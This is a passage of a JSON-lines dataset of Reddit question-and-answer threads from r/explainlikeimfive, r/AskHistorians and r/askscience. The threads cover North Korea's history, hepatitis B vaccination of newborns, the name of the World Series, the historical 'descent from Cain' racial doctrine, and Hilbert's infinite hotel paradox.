brutal, almost Medieval levels of barbaric brutality... we used cavalry, bayonet charges, and mustard gas. Then a few decades later it was gas chambers, atomic bombs, tanks, and fully-automatic gas-powered death. \n\nFar to the East of all this you have Mao, and once Lenin took over the \"east side\" he became their chief enforcer. You'll see the phrase \"containment policy\" all over literature from the period... basically the first place this started was in Korea. \n\nOK, so Korean war, it happens and you have NK  &  SK and the DMZ separating the East  &  West. Interestingly while we're comparing states to thugs you can see that Japan has jumped sides and by the 1950s are our strongest captain in the region. Japan was kind of like a power-hungry young player who made a bid for power too quickly... alienated from Russia and the rest of Asia (imperial expansion) they make a bid for survival and switch families.\n\nThere is a fair amount to be read about Mao and the Korean war and how he basically instigated it... desiring to goad the US into threatening nuclear war so he could turn around and go to the Russians and say, \"I need the bomb!\"; Vietnam was really just an extension of this.\n\nSee, China always had dreams of power. We're talking Phil Leotardo here. Always fucking things up for Russia and always waiting for the day to make a real move for power. NK is/was their strongest lieutenant... a political state literally created by a turf war, and which it has been embroiled by for more than 60 years. \n\nSo, China makes their split from Russia, makes a bid for dominance... and that takes us to about the present day. NK is still fighting (in their eyes) a day to day street war for turf. \n\nOk, so that's the international picture, but what about life inside NK?\n\nWell, here is where everything really starts to get sad and complicated. Kim Il-Sung died before the actual fighting stopped and full peace was declared, and his son inherits an administration that's been built to fight a war that already (practically) ended using technology that was already outdated. \n\nOn the other hand the DMZ is very real and the perception in NK is that war could start at any moment. Although outdated and impractical from an American perspective this is seen by the regime as being the only thing in their power to keep hold of power. \n\nIt's a really sad thing. The Koreans never really wanted a war in the first place... certainly never wanted a two country solution, nor to be caught up and torn apart by the Cold War. NK, for all its flaws, picked the side that they picked and are resigned now (because of both internal/external pressure) to continue towing the line for Beijing. This only gets worse with Jung-Il dead and Jung-Un left to fill the void inheriting a country that's even *more* increasingly dependent on others for survival. Sure they could be friendly to the US, but at what cost to their relations with China? As bad as life is in NK they don't think that the US is going to save them, and that things could get much worse if they suddenly lost favor with China.\n\nNK is fighting for survival, their identity. On both sides they are surrounded by those who would see their destruction... either incorporated into the West and becoming a part of SK, or by losing autonomy and becoming Chinese. \n\nAs horrible as the conditions are in NK this, to the people/regime, is the worst that can happen. It somehow nullifies their 70 year struggle and erases it from history. This is why you have the cult, the brainwashing, and why they think everyone is corrupt. At the end of the day all they have is their one little corner. ", "if you want to watch documentaries to help you get a feel of the country, seoul train and vice's guide to north korea is excellent AND on netflix."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "22ke96", "title": "why the hepatitis b vaccine is frequently given immediately after birth", "selftext": "I don't know if they do this in all countries, but in the United States it is common to give the Hep B vaccine immediately after birth rather than waiting until 2 months like they do with other shots. It's also usually entirely optional and they will put it off until 2 months if you want to wait. \n\nI was just wondering if there is a solid reason for doing it immediately after birth? I thought it was a mainly an STD and vaccinating at birth would mainly just be for cases where the mother was infected. Does something happen between birth and 2 months that puts newborns at risk for Hep B? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/22ke96/eli5_why_the_hepatitis_b_vaccine_is_frequently/", "answers": {"a_id": ["cgnodzq", "cgnp4jm", "cgnqdz6"], "score": [6, 2, 2], "text": ["Hepatitis B is transmitted through bodily fluids like saliva and blood, while in adults, it is mostly transmitted sexually, in young children it can be transmitted through scratching each other, putting things into their mouths (that another baby may have come into contact with), etc. In children, Hep B has a longer dormancy period, so by the time you catch a case, the baby could have infect many other children.\n\nAlso Hep B can be transmitted from mother to offspring. In children Hep B is much more severe and can lead to a lifetime of serious liver trouble and vastly increases the person's risk of liver cancer. Immediate immunization of the newborn prevent this mother-offspring transmission.\n\nTherefore the medical establishment decided to be better safe than sorry. Before mass immunization of children and babies in the 80s, 1 out of 10 cases of Hep B was in children under 5, after widespread immunization, the 1 in 1000 cases of Hep B was in children.", "* Many mother's and family members don't know they have Hepatitis B, and they can give it to the baby before the first vaccine.\n\n* There isn't any downside as there are no serious side effects. The worst it can do is rarely lead to a sore arm for a little bit, and a cause a small fever (2.4 degrees higher than normal,) but thats it.\n\n* For most of those other vaccines, the mother's immune system gives the baby anti-bodies that protect the child from those illnesses for the first 2-6 months of life. The anti-bodies wear off after that, and the child needs the vaccine so its immune system can learn to make it's own anti-bodies. That's why we can wait 2 months even though the viruses are out in the world. In this case, contact with an infected mother is what actually causes the illness, so it is important to protect the child early.\n\n* People can put it off for 2 months and get it at the same time as the rest of the vaccines they need. This is ok if the mother and the family definitely doesn't have Hepatitis B, but its a little bit safer to do it right away.", "I could be wrong, but I thought Hep B was fairly common in hospitals, thus the reason to do it right then."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "6b2twc", "title": "why is it called the world series when only us teams play? shouldn't it be the us series?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6b2twc/eli5_why_is_it_called_the_world_series_when_only/", "answers": {"a_id": ["dhjd9gr", "dhjdhgg", "dhjdjsa", "dhje7vv", "dhjemrl", "dhjesl4", "dhjf81h", "dhjf8ie", "dhjfa6l", "dhjfc8i", "dhjfcuf", "dhjfqw8", "dhjfubp", "dhjfvqg", "dhjfvxs", "dhjg2x7", "dhjg9el", "dhjg9jr", "dhjgevo", "dhjgh1r", "dhjgizn", "dhjgnfd", "dhjgnie", "dhjgq78", "dhjgrsi", "dhjgtvx", "dhjgtxv", "dhjgx00", "dhjgxb6", "dhjh4ry", "dhjh792", "dhjh9fn", "dhjhah2", "dhjhkti", "dhjhqjt", "dhjhrx6", "dhjhyqg", "dhji3z1", "dhjib0a", "dhjiekz", "dhjilik", "dhjizwp", "dhjj0cs", "dhjj5k5", "dhjj8kr", "dhjjbwf", "dhjjdrg", "dhjjeba", "dhjjgzy", "dhjjwjw", "dhjk22c", "dhjk99l", "dhjkmrj"], "score": [1767, 22, 2733, 1465, 15, 9, 7, 6, 12, 3, 37, 19, 3, 45, 86, 9, 23, 6, 51, 2, 145, 4, 5, 2, 3, 3, 6, 6, 3, 46, 3, 4, 2, 2, 2, 8, 5, 4, 3, 5, 2, 3, 6, 2, 3, 2, 3, 2, 2, 3, 2, 3, 2], "text": ["How can you say only U.S. teams play in the World Series when the Toronto Blue Jays are 2-time World Series Champions?", "I've heard it rationalized that the best players in the world play in that series, but I don't know why it was originally called that.\n\nEdit: I don't believe it's a good reason. Geez. What's with the downvotes?", "For what it's worth, the MLB does happen to be a reservoir which contains a disproportionate amount of the worlds baseball talent. Pretty much wherever you are in the world, if you are sufficiently good at baseball, theMLB will find you and pay you more than anyone in your home country will to play the game. That's not a good explanation but it is hard to say that any other league in the world could compete with the MLB in their present form.", "The general idea that the World Series was named after a newspaper is a nice story and makes an explanation of the name easier, but it's incorrect.\n\nThe simplest explanation is when baseball was in its early developmental stages, the competitors of the championship at the time were already seen as America's champions. The hope was that with the spread of American baseball's popularity around the world there would be more international teams playing, and so it was termed the \"World's Championships Series.\" This obviously never happened and the name was shortened over the years and stuck.\n\nThere's also possibilities of marketing tactics and America's obsession with itself that could play a factor, but that's the simplest explanation. I would recommend Josh Laventhal's book World Series if you would like to learn more.", "Because the States are full of people who genuinely don't believe that the rest of the world exists.", "The same reason why NBA champs call themselves world champs. Total american cultural domain.", "It's a marketing ploy. Who really cares that they call themselves 'world champions'? It's not like they are going to get sued over it; let them call themselves whatever they want.", "It is called the World Series because that's what the marketing department thought would sell it the best at home. Calling it the world series to anyone outside of America is a joke.", "It's the same as every wrestling promotion having their own world titles. It sounds cooler and makes it look more important than it actually is.", "I always thought it was a marketing ploy from the days where the national and american leagues were differently entities so it really meant the \"ultimate champion\" series", "It has nothing to do with the World newspaper, no matter what others say. The Baseball Hall of Fame debunked that particular claim. \n\nBefore MLB, there was a World Championship series between the National League and the American Association in the 1880s. When the World Series began in 1903, it appears they continued that naming tradition. \n\nAs for why it's \"World Series\" when it's only American teams, at the time it began it was inarguably the championship series for the very best teams in the world. Considering how the best baseball talent in the world plays in MLB, this is still the case. \n\nIn other words, the term refers to the level of competition more than the specific geography of eligible teams. ", "Apparently Toronto is in America now. In years past Montreal was in America, but then they hired Michele Therrien and spent the next few years on top of mediocrity, and moved to canada.", "I'd say the only possible real explanation would be the MLB teams pull players from all over the world. Therefore it's the best players in the world. Of course some really good players in Japan decide to stay there so...", "I was in South Africa once for a work trip. Were were driving and the guy was listening to the World Cup on the radio. The commentators started talking about how it's such an international sport and then started talking about other sports and one of them said. \"Yea, how about those Americans. They call it the World Series...and they're playing against themselves!\" Then they all burst out laughing, lol.", "Probably out of hubris, but it's become true in the sense that the Major Leagues consist of the entire world's best baseball talent. No matter what country you're in, if you play baseball, your goal is to end up in the MLB. ", "The World Series first started in 1903 and at the time I cannot find any evidence that there were other professional baseball leagues in the world. So if they are the ONLY league in the world, it would be the world series since its the only one of its kind on earth.", "the first loosely organized World Series' were played between 1884 -1890 between the top two US Professional leagues.  at that time there was no professional baseball played outside of the USA.  they were unquestionably the best teams in the world.\n\nin 1903, they started playing the more formalized World Series that we know today.  at that time there STILL wasn't any professional leagues outside of the USA.    \n\nmajor league baseball is still the pinnacle of the sport. just like the NBA, the worlds best players come to North America and play ball.\n\nthe name was accurate when it started (and still is) and it stuck. ", "\"Woo, we're the best team in America and we're the world champions!\"\n\n\"But almost nobody outside of America cares about baseball\"\n\n\"WORLD. CHAMPIONS.\"", "Your question is valid because of course, technically you are absolutely correct - it should technically be called the North American Series since no teams outside of North America can play in it. But it's called the World Series for historic reasons, and I would argue that it still stays true today given the special position MLB occupies in relation to baseball. Let me give you an analogy that might make my argument easier to understand for a Brit.\n\nLet's take a hypothetical. Say that not only was soccer invented in the U.K., but further, while other countries took it up, their national leagues lagged far behind the U.K.'s in quality (I know the U.K. doesn't have one unified soccer league, but take this as a hypothetical). Further, as a result of the enormous money involved in the U.K.'s league, all the best soccer players come to the U.K., further making the gulf between the U.K. and other soccer leagues wider. And on top of it all, let's posit that all of this occurred towards the beginning of the 20th century and that the only organized, professional league for awhile belonged in the U.K. As a result of all of the above, the U.K. decides to call their soccer's championship game (again, I know, not an actual thing) the World Championship. It's not technically accurate, but what's the point of inviting, say, those French men whose league isn't organized and professional yet (analogizing this to the Caribbean in the early days of baseball) or even more ridiculously, the bloody Americans (who are very far away, much like the Japanese in comparison to America in the early days of baseball)? So the U.K. names their game the World Championship since it's where the best play.\n\nAs time goes on, other countries get better, but the U.K.'s league is still inarguably quite superior to any other countries's league. The other countries argue that you shouldn't call it the World Championship, but at this point it's also, on top of everything, a marketing thing. If the U.K.'s top team were to lose to the French's top team in one match, which of course could happen even though the U.K.'s team is much better and would win 90 out of 100 games, it would hurt the marketing for the U.K.'s league, and since they've been calling their winner the World Champion for over a hundred years and their teams are still miles better than anyone else's, they refuse to rename the game and still call their winner the world champions.\n\nHopefully that explains it. History, the current relationship of MLB compared to other national leagues, the best talent consistently playing in MLB...all of this is why it is called the World Series. Technically inaccurate, but totally unfair? I don't think so.", "Legend has it that, many years ago, a Canadian team played in the World Series... And won! Two years in a row! \n- A pathetic Blue Jays fan reliving the glorious days of his youth ", "Bluejays fans are like, wtf?", "After a quick glance at post history, ELI5: Why can't we downvote a user?", "It's the most known baseball league in the world and employs a lot of non Americans, from different backgrounds. ", "The only country in the world that matters is the US of A; hence, it's the World Series. We do however let our little brother, Canada, have a team or two. ", "The MLB has an extreme degree of international representation. The world's best players play Major League Baseball, and no where else.", "Ah yes, but you see - the US believes they are at the centre of the world so it all makes sense. ", "Weird how only US teams play for the World Series and somehow the Toronto, CANADA  \ud83c\udde8\ud83c\udde6 Blue Jays won the World Series in 1992 and 1993.", "MLB are just the best in the world. Others play but wouldn't have a chance to compete on MLB level! If your a single player that had the talent. MLB will find you. If your in an island of the Caribbean, hidden in cuba... Or really anywhere else. Japans known for pitching. Dominican republic, Puerto Rico and places like that LOVE BASEBALL more then any other sport. the only country I can think of that I haven't sense a ball player would be North Korea.", "Because it'd be a waste of time to have MLB teams play Japanese League teams and Dominican League teams etc. etc.\n\nThe MLB teams would eviscerate them because all the best talent in the world, is in the MLB.", "The U.S. leagues that use the terms \"World Champions,\" like baseball, basketball, and sometimes hockey are because they've\u200b established themselves early as competitive on a global scale and now the best players from other countries play in those sports. American football is just now starting to dive into the global market, but most are experiments and have yet to pan out.\n\nIf anything, it shouldn't be seen as the U.S. being self-centered but recognizing the rest of the world for providing the talent necessary to beat other teams also consisting of the best domestic and foreign players.\n\nI'd go out on a limb and say that, in most cases, the best rest-of-the-world teams couldn't beat the worst U.S. teams in their respective sports. (There's that self-centeredness)\n\nEdit: wrong and unnecessary English.", "Because the MLB likes the way it sounds, and also the MLB is the largest baseball league in the world.", "You mean America isn't the world?", "What you're looking for is the [World Baseball Classic](_URL_0_), which the US won this year. ", "I've always justified this to myself that it's because our sports are *our* sports, as in almost no one outside of America cares about baseball or football. That's not entirely true but it's a small enough group that if someone is good enough to play, they're going to come to America to play in the MLB or NFL. So we're \"world champs\" by default because we're the only ones playing. Invent a game in your basement that no one else plays and you'll always be it's world champion. When we do play sports with actual international competition, like hockey or soccer, we never say world champs unless it's actually international play.\n\nAlso all the college sports have always called their winners \"national champions\" and I think professional sports we're trying to one up that.", "[Here is a clear explanation of how the MLB Championship series came to be named the World Series.](_URL_0_) \n\nCertainly you will just ask the question again... and then complain about how Americans are idiots because they can't pick out other countries on the map. \n\n", "I've browsed through a number of replies, and it seems that OP here has taken a very pedantic stance on this whole thing. Welcome to Reddit - I know.\n\nSo, OP - take your pick of explanations that suits you:\n\n1) Americans are arrogant buttholes. And we think we're the best at everything.\n\n2) There is a team outside of the US in Major League Baseball (granted, it's in Canada).\n\n3) The best players from around the world generally find their way into MLB, so it is not unreasonable to say that the best MLB team is also the best Baseball team in the world.\n\n4) Historically, MLB tried to include international teams in the World Series, but it never worked out.", "Why is the top comment not one pointing out that Canada has a team in MLB?", "Everyone is giving you really complicated answers.\n\nBaseball is originally American and back 100 years when the wold series started, it was ONLY American.  So, calling it the world series made sense bc, even if technically you were the best team in America, you were also the only ppl in the world playing, therefore, also the best team in the world.\n\nIn today's game, all of the best talent from all over the world plays in America's MLB (major league baseball).  If your team wins, you can safely consider yourself the best team in the world that year, even though other professional leagues will have their own champs.  \n\nTheres tons of developmental leagues in Latin America (baseball is the most popular sport among folks in cuba, dominican republic, Puerto Rico etc) and most new talent has been coming from these places for years.  But, when they get good enough, they play in the US.\n\nAnd there's Japanese leagues and Korean leagues, but they're just not as good bc the money isn't as good.  I'll put it in terms of soccer....The MLB is basically the champions league, and Japan is basically MLS.  Everyone is considered a professional athlete, but are you picking the Los Angeles Galaxy to beat Barcelona?\n\nI intended to make this easier on you, but I just kinda rambled.  Hope it helps.", "There's something called GSL (Global StarCraft League) for a video game. While it takes place in S. Korea and Koreans have only won the tournament. It's open to foreigner competition.", "Why is it called the National Rifle Association when they also deal with pistols and shotguns?", "It was just a name they came up with in the early 1900's and nothing more.\n\nHere's an interesting Wikipedia article on championships before the current World Series era... _URL_0_", "I know OP has said he's not pushing his anti American agenda but it definitely seems that way. Agreeing with because US bashing comments and coming across as cocky/ sort of ungrateful towards those who've given helpful answers.\n\nAnd believe me, I'm far from an American.", "This usage can be traced through the annual baseball guides. Spalding's Base Ball Guide for 1887 reported the results of the 1886 postseason series between Chicago, champions of the National League, and St. Louis, champions of the American Association, under the heading \"The World's Championship.\" As the editor noted, the two leagues \"both entitle their championship contests each season as those for the base ball championship of the United States,\" so a more grandiose name was required to describe the postseason showdown between the two \"champions of the United States.\"\n\nBut the Spalding Guide -- which, after all, was published by one of the world's largest sporting goods companies, with a vested interest in bringing baseball to other lands -- had grander ambitions. By 1890, the Spalding Guide was explaining that \"[t]he base ball championship of the United States necessarily includes that of the entire world, though the time will come when Australia will step in as a rival, and after that country will come Great Britain; but all that is for the future.\"\n\nThis didn't happen, but the name \"World's Championship Series\" stuck. Reporting on the first modern postseason series, the Red Sox-Pirates battle of 1903, the 1904 Reach Guide called it the \"World's Championship Series.\" By 1912, Reach's headline spoke of the \"World's Series,\" while editor Francis Richter's text still referred to the \"World's Championship Series.\" The Reach Guide switched from \"World's Series\" to \"World Series\" in 1931, retaining the modern usage through its merger with the Spalding Guide and through its final issue in 1941. The separately-edited Spalding Guide used \"World's Series\" through 1916, switching to \"World Series\" in the 1917 edition.\n\nThe Spalding-Reach Guide was replaced as Major League Baseball's semi-official annual by the Sporting News Guide, first published in 1942. The Sporting News Guide used \"World's Series\" from 1942 through 1963, changing to \"World Series\" in the 1964 edition", "As a Brit looking in from the outside... we laugh about this and think of it more as the Forever Alone World Series", "TL;DR The best team in the NL challenged the best team in the AL to a \"World's Championship Series\" The name got shortened.\n\nThe Origin of the Name 'the World Series'\n\nFor many years, it was believed that the name came from the fact that the original series was sponsored by the New York World Telegram newspaper, thus becoming known as the \u2018World\u2019s Series\u2019. However, popular as this explanation may be, it\u2019s not actually true and although the newspaper did report the results of the games, it had nothing to do with the naming of the competition.\n\nThe real reason behind the name is thanks to Barney Dreyfuss who was the owner of the Pittsburgh Pirates. In 1903, he wrote to the owner of the Boston Red Sox challenging them to a \u2018World\u2019s Championship Series\u2019. The Pirates were the best team in the National League and the Red Sox were the best in the American League.\n\nThe games went ahead and Boston won the series five games to three. Over time, the 'World\u2019s Championship Series' name has been shortened to the World Series and has been played every year apart from 1904 and 1994.\n\nThis is straight from a website", "You're thinking a bit too geographic / nationalistic here. Major League Baseball recruits players from all over the world--the best of the best. Although there are other leagues based on other countries, MLB is the top tier. The composition of MLB teams is not based on nationality, citizenship, etc. like in say FIFA. \n\nTherefore, when you watch the World Series, although the teams are owned / based in America, the players on the team are the best in the world. ", "It's just branding dude. There is no body regulating the use of the word 'world' in naming conventions. \n\nThough I find it hilarious some baseball fans are acting so...passionate about this. ", "Sorry if I offend anyone. I asked this same question about 20 years ago. To assume a World Series Championship with only MLB teams and not considering the Canadian, Japanese, Taiwanese or Cuban leagues, is being quite elitist. Whenever I see an American event claiming to be World something with only American teams, I'd just brush it off as ignorant marketing and the rest of the world are like, yeah right. It doesn't matter if the Americans are the best if the organizers are not an international association with members coming from participating countries and clubs. Stop using the word World. That's all. It's misleading. ", "Because baseball is so boring to watch, they hoped it would bring more attention to the game. ", "Lol, this is a question I've always had, and it has *nothing* to do with anti-Americanism.. Can't believe that shit still finds a way in these threads. \n\nGood question OP, thanks for asking!", "Usage of the term \"World Series\" dates back to to 1887, when the Spalding Base Ball Guide reported postseasons results for the 1886 season between National League Champions, Chicago, and American Association Champions, St. Louis. It was described as \"The World's Championship.\" As the editor noted, the two leagues \"both entitle their championship contests each season as those for the base ball championship of the United States,\" so a more grandiose name was required to describe the postseason showdown between the two \"champions of the United States.\"\n\nThe Spalding guide, being published by one of the largest sports companies in the world at the time, had grand ambitions, and stated that the baseball championship  \"of the United States necessarily includes that of the entire world, though the time will come when Australia will step in as a rival, and after that country will come Great Britain; but all that is for the future.\" This, obviously, didn't happen, but the name still stuck. ", "Thats quite easy to explain, Americans I guess do not notice this, but in Europe we notice this like huge beam blinking in the night, in movies and all media in general they like to regard to themselves as The World, same idiocracy as president of the USA is very oftenly called - Leader of the free world. All of this makes Europeans cringe in laughter.", "It's called the world('s) series because there was a newspaper called the world which sponsored it"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://en.m.wikipedia.org/wiki/World_Baseball_Classic"], [], ["http://www.rose-hulman.edu/~rickert/BB/wsname.html"], [], [], [], [], [], ["https://en.m.wikipedia.org/wiki/List_of_pre-World_Series_baseball_champions"], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "4brxf0", "title": "Did people truly believe black people were descended from Cain? How widespread was this thought?", "selftext": "Did a large portion of non-black christians believe blacks were descended from Cain? Or was it just a minority that believed so?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4brxf0/did_people_truly_believe_black_people_were/", "answers": {"a_id": ["d1byqc5", "d1cl3g6"], "score": [19, 3], "text": ["Proportions are hard to estimate. There wasn't a lot of position polling going on in the the 19th century. But we can tell from some writings that it was widespread and popular. Two groups in particular seemed to push the point, the Southern Baptists and the Mormons.\n\nThe Baptists of course didn't have a tradition of centralized leadership so it's hard to say how deep the belief went in individual congregations. But books like Josiah Priest's *Slavery as it Relates to the Negro or African Race* from 1843 were popular best sellers. And the break in 1845 between the Northern and Southern Baptist branches was largely over race, including the doctrine of the descent from Cain. In 1995 the Southern Baptist Convention formally apologized for its history of racism including the idea of a black descent from Cain.\n\nThe LDS racial tradition (which I am more familiar with) followed or paralleled the Southern Baptist tradition. Their scriptures, particularly, the *Book of Abraham* states that the wife of Ham (traditionally the biblical ancestor of the African peoples) was a descendant of Cain. God supposedly specifically preserved Ham along with the rest of the family of Noah so that the curse of Cain would not disappear. This 1881 quote from, then leader of the church, John Taylor sums it up:\n\n > And after the flood we are told that the curse that had been pronounced upon Cain was continued through Ham's wife, as he had married a wife of that seed. And why did it pass through the flood? Because it was necessary that the devil should have a representation upon the earth as well as God.\n\nFor anyone who is interested in Mormon racial history I'd highly recommend Armand Mauss' excellent *All Abraham's Children: Changing Mormon Conceptions of Race and Lineage*.\n\nI'm not sure that rises to a burden of proof that a majority ever believed that blacks descended from Cain. Northern pastors wrote counters to Josiah Priest, and of course the Mormons were a small minority religion off in their own corner of the country. The idea certainly had support even in the North. But I suspect that the belief never rose to the level of a majority belief for the country as a whole.", "The answers given are all about America. Does anyone know if any Christians outside America believed this?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3dwvqv", "title": "Infinite Hotel Paradox. Is this a good explanation of Infinity or does it violate the thought of infinity?", "selftext": "I found this while on a you tube binge. I couldn't help but feel this thought experiment is... wrong.\n[Ted-ed video](_URL_0_)\n\nI felt I grasped infinity pretty well, but does my explanation make sense, or am I missing a fundamental part of this thought experiment?\n\nI was thinking (and posted on youtube.)\n\n\"If the hotel is full though that assumes there are already infinity guest bookings. Adding another infinite amount of guests is saying you want to cram 2*infinity people into infinity rooms. I would assume since both the guests and the rooms are infinite that you are adding 2 people every time 1 room is created. This problem doesn't make sense because instead of putting the people into a room they are instead moving between rooms and not actually put up in their own room. The freeing up of 1,3,5,7,9 etc..... doesn't actually free them up. You created a wave of people moving. lets assume you instantly told, everyone they are going to move and you moved them, Because it's infinite you'll never free up enough space (the hotel is occupied at every number you get to) for another infinite amount of people.\n\nI'll explain what this has done another way. Two strings that are infinitely long, one red, one blue. Both wish to occupy the same space. Red string is already in that space, to create room for blue string you create a wave, and feed blue into the now empty space. The red wave will go on infinitely and you will infinitely fill in blue for red. You never finish putting blue string in because it's infinite, and red string is never again \"at rest,\" because it is constantly moving for blue.\n\nI understand it's supposed to be a way to illustrate how large infinity is, but surely there has got to be a better way to explain this.\"\n\n\nEdit: The more answers I get explaining unique ways of understanding this issue I get the more fraking excited I am by the concept. You guys/gals Rock!!!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3dwvqv/infinite_hotel_paradox_is_this_a_good_explanation/", "answers": {"a_id": ["ct9hjkz", "ct9hzlg", "ct9k9q2", "ct9kg9b", "ct9m85c", "ct9n3f7"], "score": [20, 92, 3, 7, 2, 3], "text": [" > I'll explain what this has done another way. Two strings that are infinitely long, one red, one blue. Both wish to occupy the same space. Red string is already in that space, to create room for blue string you create a wave, and feed blue into the now empty space. The red wave will go on infinitely and you will infinitely fill in blue for red. You never finish putting blue string in because it's infinite, and red string is never again \"at rest,\" because it is constantly moving for blue.\n\nI don't see the equivalence. \n\n > I felt I grasped infinity pretty well, but does my explanation make sense, or am I missing a fundamental part of this thought experiment?\n\n > Because it's infinite you'll never free up enough space (the hotel is occupied at every number you get to) for another infinite amount of people.\n\nMost likely, since the argument in the video seemed correct to me but you are disagreeing with the conclusion. It seems you're assuming that the process of people in the hotel moving to even numbered rooms never terminates, correct? Why do you not have the same objection when we added just a single person to the hotel? The two scenarios really aren't all that different, instead of picturing that all of the people in the hotel scrambled from room n to room 2n picture instead that the concierge took the 1st person in the bus to the 1st room. We've reduced this to the case of adding one person, except instead of being instructed to move one room over the hotel guests are instructed to double their room number. Great, we've reduced it to a solved problem and we're done with the 1st person in the bus. Next we take the 2nd person in the bus, take them to room 3, and instruct the hotel guests as above. Again, solved problem, we are done. We can continue this way and for every person in the bus we can find them a room in a way that everyone that was already in the hotel has a room, as we intended to do.\n\nThe point isn't to free up enough rooms, because you need to free up infinitely many rooms and infinity is finicky to deal with if you picture it as a number. So the way the problem is handled is you need to find a way that each person is assigned at most 1 room in the hotel, if you can assign them at least 1 room in the hotel you don't need to keep track of whether you've freed up enough room as every guest has a room and your job is done. As you can see the staff in the hotel are work to rule, fucking unions.\n\nOne issue you may be having is you're attributing too much to the physical plausibility of the scenario. This is a cute illustration, but at the end of the day what you're actually dealing with is sizes of sets, in particular you're answering the question \"how do we quantify the size of a set with infinitely many elements\". You can say they're infinitely large but how do we compare them when we have the natural numbers (1,2,3,...) and the integers (...,-1,0,1,2,...), is one bigger than the other? What do we even mean by size?\n\nThe answer interestingly is that there are as many natural numbers as integers, which we get when exploring for a bit what we mean by size of a set, something also known as cardinality.\n\nSuppose we have a set containing 3 letters, {a,b,c}, and a set containing 3 numbers, {1,2,3}, how do we say which is bigger? Well we can count them both up and end up with 3 elements in each, which is great but that isn't going to be of much use in the infinite case. Another way to go about it is we can find a way to assign a unique letter to each number and a unique number to each letter: a corresponds to 1 and vice versa, b < - > 2,c < - > 3. We call that assignment a 'bijection'. We can also figure out when one is bigger than the other by similar means, suppose we compare {a,b,c}, and {1,2,3,4}, we can see the second set is bigger, but why? Well for every letter we can assign a unique number a- > 1, b- > 2, c- > 3, but we have a number (4) that can't be assigned a unique letter. It is useful with infinite sets to do the assignment one way, without checking if the reverse can even work, and say that the second set is *at least as big* as the first.\n\nNow let's go and compare the integers with the natural numbers. Now since the integers contain the natural numbers we see the integers are at least as big as the natural numbers. What we need to show is that the natural numbers are at least as big as the integers, we do this by the assignment process above. That is to say given an integer we need to assign it a natural number and no natural number can be assigned twice. How do we do that?\n\nLet's start with the largest integer that isn't a natural number, 0 (in my definition), and assign it to 1. Now let's put the natural numbers in themselves by taking a natural number and multiplying it by 2, which is the assignment 1- > 2, 2- > 4, 3- > 6,... \n\nWhich natural number would be taken by this process? well 1 is taken and so is the even natural numbers. What's left is 3 and every odd number bigger than it. So we can assign -1 - >  3, -2 - >  5... (the algebraic rule here is whenever k < 0 , assign(k)= 2\\* |k|+1.\n\nSummary: This shows that the integers and the natural numbers are of the same size, a sort of paradox similar to Hilbert's hotel. One thing to note here is that we don't need to make an explicit mention of infinity until the last step. We can make our assignments for finite numbers, prove that the assignment never puts two integers to the same natural number, and then show that the assignment can go over all integers. The lesson from this, and Hilbert's hotel, is that dealing with infinity is usually hard and it can be sensitive, so the approach to take is to somehow reduce it to a problem with finitely sized sets and show that the properties you want carry over in the infinite case.", "The nature of infinity is such that adding to it doesn't make it larger. Subtracting from it doesn't make it smaller.\n\nSo (2 *  *denumerable* infinity)= *denumerable* infinity, and  *denumerable* infinity+ *denumerable* infinity= *denumerable* infinity. I think the problem is that you are imagining a fluid situation that isn't fluid. You aren't \"creating\" rooms (as you have stated in your explanation). All the rooms are already there, and they aren't being created, nor being destroyed.\n\nYour example of the string is a problem. You see, we have been talking about  *denumerable* infinity, not  *nondenumerable* infinity, which would more accurately describe the string (a continuum, rather than something compose of individual discrete objects). The same flaw in your conception is present in that analogy. The strings aren't \"moving\". It isn't a fluid situation.", "I had the same problem when considering recurring decimals, and how 0.9999... is exactly equal to 1.\n\nFor the rucurring decimals, my problem arose in thinking that, because we are writing down an infinite number of 9s, you will always be at least a little bit away from 1. But this isn't infinity, this as an increasing sequence of finitely many 9s.\n\nInstead, think about it in terms of putting all infinitely many 9s down first, using an infinitely long rubber stamp. Then, you can't find \"the end\" of the number, and thus can't calculate a non 0 difference.\n\n\n\nNow think about your hotel. Instead of starting at the lower numbers and moving everyone along, move everyone at the same time.\n\nLet's say it takes everyone already in the hotel 5 minutes to move from the their original room n, to their new room, 2n, (some people will have to run pretty fast, but because we are not thinking about this physically, this is ok). Then, after 5 minutes, all of your original guests are accommodated for, they all have an even room.\n\n\n\nNow let's empty our bus. Before we start the moving process, give eveyone on the bus a room number based on their coach seat number. Someone sat in seat n, moves into room 2n-1. Everyone on the bus has a room number, all the room numbers are odd, and thus all the newly allocated rooms are empty.\n\nNow, making sure people get a move on, we give everyone 10 minutes to move into their new rooms, which we assume they can do (because we aren't physically doing this). Then after 10 minutes, the hotel is full again, and all our guests have rooms.\n\n\n\nTL;DR, think about moving all your guests simultaneously at every stage, rather then one after the other.", "Good to see you thinking about infinity, certainly one of the more interesting parts of mathematics. It's especially fun because, as this video shows, ideas about infinity can be explored without much more than an elementary maths background.\n\nYou say you have an issue with the ideas presented in this video, that's great! In mathematics if you think something is wrong then a really powerful tool to show it is by finding what's called a counterexample, a specific case that doesn't work. Let's deal with the case of fitting that countably infinite bus of people into the hotel. I challenge you to find a counterexample, i.e. a person (from either the bus or already in the hotel) who doesn't find a room. Take the person in seat 1 of the bus, well we put them in room 1 (and she stays there). The person in seat 2, they go into room 3 (and stays there). The person in seat n goes in room 2n+1 (and stays there). Notice everyone from the bus gets put in an odd room?\n\nAnd as for the hotel, well as the video explains person originally in room 1 is now put in room 2 (and stays there). The person in room 2 goes to room 4 (and stays there). The person who was in room n goes to room 2n (and stays there). Now everyone originally in the hotel is now in an even room.\n\nEveryone moves exactly once. Furthermore, the odd/evenness we brought up makes it pretty easy to see no two people get put in the same room. If you're from the bus you're in an odd room and can't be sharing with an old 